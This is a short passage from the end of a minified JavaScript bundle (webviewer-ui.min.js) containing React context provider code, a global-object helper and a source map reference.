e=h();return++f,function(){0==--f&&(e[d]=null)}}}),[]),Object(r.jsx)(a.a.Provider,Object.assign({value:u},{children:t}),void 0)}));function h(){return void 0!==e?e:window}}).call(this,n(47))}]);
//# sourceMappingURL=webviewer-ui.min.js.map